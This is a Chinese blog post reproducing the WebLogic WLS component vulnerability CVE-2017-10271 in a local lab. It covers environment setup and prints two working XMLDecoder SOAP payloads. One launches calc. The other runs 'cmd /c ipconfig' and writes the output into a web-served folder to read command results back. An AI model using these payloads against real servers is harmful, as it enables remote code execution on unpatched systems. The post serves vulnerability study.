美文网首页
WebLogic WLS组件漏洞复现

WebLogic WLS组件漏洞复现

作者: 二潘 | 来源:发表于2018-01-06 14:48 被阅读426次

    今天偶然看到WebLogic WLS组件存在漏洞,本地搭建环境测试一下,复现报告只保证本人可以看懂

    分隔符———————————————————————————————

    1、环境的准备

    • 漏洞的编号

    • CVE-2017-10271

    • 漏洞存在的版本

    • 10.3.6.0.0

    • 12.1.3.0.0

    • 12.2.1.1.0

    • 12.2.1.2.0

    本地复现版本为:10.3.6.0.0

    提供下载地址:

    抓包工具:burpsuite

    2、漏洞复现环境搭建

    靶机:Windows Server 2008 R2 x64
    攻击机:物理机
    

    3.1 环境的配置

    3.1.1 安装JDK:

    image

    3.1.2 安装WebLogic:

    不勾选 “我希望通过My Oracle Support接收安全更新"

    image

    设置管理员用户名和口令(weblogic\weblogic888)

    image

    选择生产模式

    image

    若安装选择的默认路径与默认域名,在如下路径中运行

    C:\Oracle\Middleware\user_projects\domains\base_domain\WebLogic.cmd
    
    image

    此时访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

    出现下面这个页面。,说明已经安装成功

    image

    3、漏洞利用poc

    <soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
           <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
               <java      version="1.8" class="java.beans.XMLDecoder">
                   <void     class="java.lang.ProcessBuilder">
                        <array    class="java.lang.String" length="3">
                            <void     index="0">
                               <string>calc</string>
                            </void>
                            <void     index="1">
                                <string></string>
                            </void>
                            <void     index="2">
                                <string> </string>
                            </void>
                        </array>
                    <void     method="start"/></void>
               </java>
           </work:WorkContext>
       </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>
    

    4、漏洞利用过程

    使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:
    使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache

    图片.png

    返回的状态码为500:

    FO.png

    返回去计算器已经弹出来了

    5C.png

    接下来说一下命令回显的一个小方法。但是有前提的。前提是足够写入权限。

    可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.lang.ProcessBuilder"> 
                        <array class="java.lang.String" length="5">
                           <void index="0">
                            <string>cmd</string>
                        </void>
                         <void index="1">
                            <string>/c</string>
                        </void>    
                         <void index="2">
                            <string>ipconfig</string>
                        </void>        
                         <void index="3">
                            <string>>></string>
                        </void>    
                         <void index="4">
                            <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                        </void>        
                        </array>
                    <void method="start"/> 
                    </object>
                </java> 
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/> 
    </soapenv:Envelope>
    

    注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat,可以测试一下:

    4C1B.png

    https://127.0.0.1:7001/wls-wsat/ipconfig.txt

    相关文章

      网友评论

          本文标题:WebLogic WLS组件漏洞复现

          本文链接:https://www.haomeiwen.com/subject/vqjynxtx.html